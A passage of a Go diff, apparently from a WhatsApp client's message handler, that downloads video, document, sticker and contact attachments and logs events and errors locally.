evt.Message.GetVideoMessage().GetMimetype(), evt, rawEvt) + if ok == nil { + return + } + } + + doc := evt.Message.GetDocumentMessage() + if doc != nil { + ok := download("Message.GetDocumentMessage", evt.Message.GetDocumentMessage(), evt.Message.GetDocumentMessage().GetMimetype(), evt, rawEvt) + if ok == nil { + return + } + } + + sticker := evt.Message.GetStickerMessage() + if sticker != nil { + ok := download("Message.GetStickerMessage", evt.Message.GetStickerMessage(), evt.Message.GetStickerMessage().GetMimetype(), evt, rawEvt) + if ok == nil { + return + } + } + + contact := evt.Message.GetContactMessage() + if contact != nil { + ok := download("Message.GetContactMessage", evt.Message.GetContactMessage(), "text/vcard", evt, rawEvt) + if ok == nil { + return + } + } + + postEvent("Message", rawEvt, nil) + return + } +} + +func postEventFile(evt_type string, raw interface{}, extra interface{}, file_name string, file_bytes []byte) error { + log.Infof("Event(%s): \n File: %s \n Extra: %+v \n Raw: %+v", evt_type, file_name, extra, raw) + return nil +} + +func postEvent(evt_type string, raw interface{}, extra interface{}) error { + log.Infof("Event(%s): \n%+v", evt_type, raw) + return nil +} + +func postError(evt_type string, evt_error string, raw interface{}) error { + log.Errorf("Error(%s): %s \n%+v", evt_type, evt_error, raw) + return nil +}